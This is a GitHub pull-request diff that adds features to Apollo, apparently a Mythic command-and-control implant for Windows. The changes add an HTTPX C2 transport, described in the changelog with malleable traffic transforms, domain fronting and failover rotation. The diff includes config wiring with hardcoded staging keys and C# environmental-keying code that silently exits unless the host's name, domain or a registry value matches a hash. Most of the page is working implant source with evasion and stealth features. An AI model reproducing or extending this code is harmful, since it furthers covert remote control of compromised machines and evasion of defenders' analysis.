Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
39 commits
Select commit Hold shift + click to select a range
80db569
Added basic env keying
FlangvikOld Oct 13, 2025
ca86c1f
Fixed some AI slop
FlangvikOld Oct 13, 2025
8ab0b05
First Attempt at HTTPx implementation
Oct 17, 2025
7a9669a
Minor dir changes
Oct 17, 2025
fa9439c
Fixed translator registration
Oct 17, 2025
ce14d5f
Fixed translator registration #2
Oct 17, 2025
12c241a
Added httpx to the supported types list
Oct 17, 2025
655bb68
Adjustment2
Oct 17, 2025
83736fb
Removed the translator
Oct 17, 2025
1966282
Removed the translator from builder
Oct 17, 2025
b2f8e95
Removed Translator, and added the needed builder params
Oct 21, 2025
0414ba5
Removed C2ParameterDeviation for httpx, as it causes nothing but trouble
Oct 21, 2025
86a480f
Attempted to make the default config for httpx not always be included
Oct 21, 2025
02891ad
Fixed TOML import for the httpx config
Oct 21, 2025
b7df727
Add sdout for dotnet build
Oct 21, 2025
86df547
Attempt 2 at installing toml
Oct 21, 2025
af870f8
Make sure we support the right version of netframework
Oct 21, 2025
41d17e5
Removed explicit compile
Oct 25, 2025
c0601ed
Implementing some missing interface methods in HttpxProfile
Oct 25, 2025
9ac2d16
Removed warnings from build log
Oct 25, 2025
77b2975
HttpxProfile seems to be working with Apollo now, client EKE
Oct 26, 2025
79b9cec
Make sure debug mode actually gets turned off
Oct 26, 2025
42670f0
Removed refference to default profile
Oct 26, 2025
3e4c1d2
Added logic to only compile the profiles that are in use
Oct 26, 2025
916e468
Bumped version, updated changelog, time for stress testing
Oct 26, 2025
442b6cc
Merge upstream/master into local master
Oct 27, 2025
8ee7117
Cleanup and dialed down debug stdout
Oct 27, 2025
c4440da
Added some examples profiles
FlangvikOld Nov 2, 2025
899b746
Fix httpx malleable profile issues: query param conflicts, response e…
FlangvikOld Nov 3, 2025
fbfd9ff
validation logic now checks if an HTTP method is configured before re…
FlangvikOld Nov 6, 2025
990cfcb
GetVariation always returns a VariationConfig object (never null), ev…
FlangvikOld Nov 6, 2025
bcc03f5
Enhanced debug logging in SendRecv when running in debug
FlangvikOld Nov 6, 2025
c810fd2
Even at error return, attempt to read data
FlangvikOld Nov 6, 2025
b194a63
Narrowing support to POST/PUT/GET
FlangvikOld Nov 6, 2025
4d969e0
Not all base64 is eq
FlangvikOld Nov 6, 2025
0d92797
Align with the HTTPx profile server code
FlangvikOld Nov 6, 2025
c450d2a
First attempt at pre-compile profile validation
FlangvikOld Nov 6, 2025
61c858a
Added support for old tls/SSL and selfsigned certs
Nov 10, 2025
9ce7208
Merge upstream/master: Sync with MythicAgents/Apollo repository
Nov 28, 2025
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 13 additions & 0 deletions Payload_Type/apollo/CHANGELOG.MD
Original file line number Diff line number Diff line change
Expand Up @@ -18,6 +18,19 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0

## [v2.4.1] - 2025-10-27

### Added

- Added support for the HTTPX Profile C2 transport
- Uses client-side generated RSA keys (4096-bit) to perform EKE (Encrypted Key Exchange)
- Supports malleable profile transforms: base64, base64url, netbios, netbiosu, xor, prepend, append
- Supports all REST HTTP methods: GET, POST, PUT, DELETE, PATCH, OPTIONS, HEAD
- Supports message placement in query parameters, cookies, headers, and body
- Supports proxy configuration with authentication
- Supports domain fronting and custom HTTP headers
- Supports failover and round-robin domain rotation strategies
- Added environment keying support for hostname, domain name and registry keys
- Build process now conditionally includes only selected C2 profile projects

### Changed

- Updated PyPi version
Expand Down
2 changes: 1 addition & 1 deletion Payload_Type/apollo/Dockerfile
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@ RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.
COPY [".", "."]

# fetch all dependencies
RUN cd apollo/agent_code && dotnet restore && rm donut ; cp /donut donut
RUN cd apollo/agent_code && dotnet restore --verbosity quiet && rm donut ; cp /donut donut
RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll

CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"]
1 change: 0 additions & 1 deletion Payload_Type/apollo/apollo/__init__.py
Original file line number Diff line number Diff line change
@@ -1 +0,0 @@

2 changes: 2 additions & 0 deletions Payload_Type/apollo/apollo/agent_code/Apollo/Apollo.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -19,6 +19,8 @@
<ProjectReference Include="..\DInvokeResolver\DInvokeResolver.csproj" />
<ProjectReference Include="..\EncryptedFileStore\EncryptedFileStore.csproj" />
<ProjectReference Include="..\HttpProfile\HttpProfile.csproj" />
<ProjectReference Include="..\HttpxProfile\HttpxProfile.csproj" />
<ProjectReference Include="..\HttpxTransform\HttpxTransform.csproj" />
<ProjectReference Include="..\Injection\Injection.csproj" />
<ProjectReference Include="..\KerberosTickets\KerberosTickets.csproj" />
<ProjectReference Include="..\NamedPipeProfile\NamedPipeProfile.csproj" />
Expand Down
59 changes: 57 additions & 2 deletions Payload_Type/apollo/apollo/agent_code/Apollo/Config.cs
Original file line number Diff line number Diff line change
@@ -1,6 +1,7 @@
#define C2PROFILE_NAME_UPPER

//#define LOCAL_BUILD
#define HTTPX

#if LOCAL_BUILD
//#define HTTP
Expand All @@ -12,6 +13,9 @@
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;
using System.Linq;
Expand Down Expand Up @@ -145,7 +149,44 @@ public static class Config
#endif
}
}
}
},
#endif
#if HTTPX
{ "httpx", new C2ProfileData()
{
TC2Profile = typeof(HttpxProfile),
TCryptography = typeof(PSKCryptographyProvider),
TSerializer = typeof(EncryptedJsonSerializer),
Parameters = new Dictionary<string, string>()
{
#if LOCAL_BUILD
{ "callback_interval", "10" },
{ "callback_jitter", "23" },
{ "callback_domains", "https://example.com:443" },
{ "domain_rotation", "fail-over" },
{ "failover_threshold", "5" },
{ "encrypted_exchange_check", "true" },
{ "killdate", "-1" },
{ "raw_c2_config", "" },
#else
{ "callback_interval", "httpx_callback_interval_here" },
{ "callback_jitter", "httpx_callback_jitter_here" },
{ "callback_domains", "httpx_callback_domains_here" },
{ "domain_rotation", "httpx_domain_rotation_here" },
{ "failover_threshold", "httpx_failover_threshold_here" },
{ "encrypted_exchange_check", "httpx_encrypted_exchange_check_here" },
{ "killdate", "httpx_killdate_here" },
{ "raw_c2_config", "httpx_raw_c2_config_here" },
{ "proxy_host", "httpx_proxy_host_here" },
{ "proxy_port", "httpx_proxy_port_here" },
{ "proxy_user", "httpx_proxy_user_here" },
{ "proxy_pass", "httpx_proxy_pass_here" },
{ "domain_front", "httpx_domain_front_here" },
{ "timeout", "httpx_timeout_here" },
#endif
}
}
},
#endif
};

Expand All @@ -160,6 +201,8 @@ public static class Config
public static string StagingRSAPrivateKey = "NNLlAegRMB8DIX7EZ1Yb6UlKQ4la90QsisIThCyhfCc=";
#elif TCP
public static string StagingRSAPrivateKey = "Zq24zZvWPRGdWwEQ79JXcHunzvcOJaKLH7WtR+gLiGg=";
#elif HTTPX
public static string StagingRSAPrivateKey = "K4FLVfFwCPj3zBC+5l9WLCKqsmrtzkk/E8VcVY6iK/o=";
#endif
#if HTTP
public static string PayloadUUID = "b40195db-22e5-4f9f-afc5-2f170c3cc204";
Expand All @@ -169,11 +212,23 @@ public static class Config
public static string PayloadUUID = "aff94490-1e23-4373-978b-263d9c0a47b3";
#elif TCP
public static string PayloadUUID = "bfc167ea-9142-4da3-b807-c57ae054c544";
#elif HTTPX
public static string PayloadUUID = "7f2a0f77-51ca-4afc-a7a9-5ea9717e73c3";
#endif
#else
// TODO: Make the AES key a config option specific to each profile

public static string StagingRSAPrivateKey = "AESPSK_here";
public static string PayloadUUID = "payload_uuid_here";
#endif

// Environmental Keying Configuration
public static bool KeyingEnabled = keying_enabled_here;
public static int KeyingMethod = keying_method_here; // 1=Hostname, 2=Domain, 3=Registry
public static string KeyingValueHash = "keying_value_hash_here";

// Registry Keying Configuration
public static string RegistryPath = "registry_path_here";
public static string RegistryValue = "registry_value_here";
public static int RegistryComparison = registry_comparison_here; // 1=Matches, 2=Contains
}
}
Original file line number Diff line number Diff line change
@@ -1,5 +1,10 @@
using ApolloInterop.Interfaces;
#if HTTP
using HttpTransport;
#endif
#if HTTPX
using HttpxTransport;
#endif
using System;
using System.Collections.Generic;

Expand All @@ -14,13 +19,19 @@ public C2ProfileManager(IAgent agent) : base(agent)

public override IC2Profile NewC2Profile(Type c2, ISerializer serializer, Dictionary<string, string> parameters)
{
#if HTTP
if (c2 == typeof(HttpProfile))
{
return new HttpProfile(parameters, serializer, Agent);
} else
}
#endif
#if HTTPX
if (c2 == typeof(HttpxProfile))
{
throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}");
return new HttpxProfile(parameters, serializer, Agent);
}
#endif
throw new ArgumentException($"Unsupported C2 Profile type: {c2.Name}");
}
}
}
Original file line number Diff line number Diff line change
Expand Up @@ -8,7 +8,6 @@
using System.Linq;
using System.Threading;
using ApolloInterop.Classes.Cryptography;
using Newtonsoft.Json.Serialization;

namespace Apollo.Management.Files
{
Expand Down
203 changes: 203 additions & 0 deletions Payload_Type/apollo/apollo/agent_code/Apollo/Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,8 @@
using ApolloInterop.Enums.ApolloEnums;
using System.Runtime.InteropServices;
using ApolloInterop.Utils;
using System.Security.Cryptography;
using Microsoft.Win32;

namespace Apollo
{
Expand Down Expand Up @@ -55,9 +57,210 @@ public static void Main(string[] args)
{
DebugHelp.DebugWriteLine($"CoInitializeSecurity status: {_security_init}");
}

// Check environmental keying before starting agent
if (!CheckEnvironmentalKeying())
{
// Exit silently if keying check fails
return;
}

Agent.Apollo ap = new Agent.Apollo(Config.PayloadUUID);
ap.Start();
}

private static bool CheckEnvironmentalKeying()
{
// If keying is not enabled, always return true
if (!Config.KeyingEnabled)
{
return true;
}

try
{
// Handle Registry keying separately (3 = Registry)
if (Config.KeyingMethod == 3)
{
return CheckRegistryKeying();
}

string currentValue = "";

// Get the appropriate value based on keying method
// 1 = Hostname, 2 = Domain
if (Config.KeyingMethod == 1)
{
currentValue = Environment.MachineName;
}
else if (Config.KeyingMethod == 2)
{
currentValue = Environment.UserDomainName;
}
else
{
// Unknown keying method, fail safe and exit
return false;
}

// Convert to uppercase before hashing (same as build time)
currentValue = currentValue.ToUpper();

// For hostname (1), just check the single value
if (Config.KeyingMethod == 1)
{
string currentValueHash = ComputeSHA256Hash(currentValue);
if (currentValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
// For domain (2), check full domain and all parts split by '.'
else if (Config.KeyingMethod == 2)
{
// First try the full domain
string fullDomainHash = ComputeSHA256Hash(currentValue);
if (fullDomainHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}

// Then try each part of the domain split by '.'
string[] domainParts = currentValue.Split('.');
foreach (string part in domainParts)
{
if (!string.IsNullOrEmpty(part))
{
string partHash = ComputeSHA256Hash(part);
if (partHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase))
{
return true;
}
}
}
}

// Keying check failed
return false;
}
catch
{
// If any error occurs during keying check, fail safe and exit
return false;
}
}

private static bool CheckRegistryKeying()
{
try
{
// Parse the registry path
string regPath = Config.RegistryPath;
if (string.IsNullOrEmpty(regPath))
{
return false;
}

// Split registry path into hive, subkey, and value name
// Expected format: HKLM\SOFTWARE\Path\To\Key\ValueName
string[] pathParts = regPath.Split('\\');
if (pathParts.Length < 2)
{
return false;
}

// Get the registry hive
RegistryKey hive = GetRegistryHive(pathParts[0]);
if (hive == null)
{
return false;
}

// Get the value name (last part)
string valueName = pathParts[pathParts.Length - 1];

// Get the subkey path (everything between hive and value name)
string subKeyPath = string.Join("\\", pathParts, 1, pathParts.Length - 2);

// Open the registry key
using (RegistryKey key = hive.OpenSubKey(subKeyPath))
{
if (key == null)
{
// Registry key doesn't exist
return false;
}

// Get the registry value
object regValue = key.GetValue(valueName);
if (regValue == null)
{
// Registry value doesn't exist
return false;
}

string regValueString = regValue.ToString();

// Check based on comparison mode: 1 = Matches, 2 = Contains
if (Config.RegistryComparison == 1)
{
// Hash-based secure matching
string regValueHash = ComputeSHA256Hash(regValueString.ToUpper());
return regValueHash.Equals(Config.KeyingValueHash, StringComparison.OrdinalIgnoreCase);
}
else if (Config.RegistryComparison == 2)
{
// Plaintext contains matching (weak security)
return regValueString.IndexOf(Config.RegistryValue, StringComparison.OrdinalIgnoreCase) >= 0;
}
}

return false;
}
catch
{
// If any error occurs, fail safe and exit
return false;
}
}

private static RegistryKey GetRegistryHive(string hiveName)
{
switch (hiveName.ToUpper())
{
case "HKLM":
case "HKEY_LOCAL_MACHINE":
return Registry.LocalMachine;
case "HKCU":
case "HKEY_CURRENT_USER":
return Registry.CurrentUser;
case "HKCR":
case "HKEY_CLASSES_ROOT":
return Registry.ClassesRoot;
case "HKU":
case "HKEY_USERS":
return Registry.Users;
case "HKCC":
case "HKEY_CURRENT_CONFIG":
return Registry.CurrentConfig;
default:
return null;
}
}

private static string ComputeSHA256Hash(string input)
{
using (SHA256 sha256 = SHA256.Create())
{
byte[] hashBytes = sha256.ComputeHash(Encoding.UTF8.GetBytes(input));
StringBuilder sb = new StringBuilder();
foreach (byte b in hashBytes)
{
sb.Append(b.ToString("x2"));
}
return sb.ToString();
}
}

private static void Client_Disconnect(object sender, NamedPipeMessageArgs e)
{
Expand Down
Loading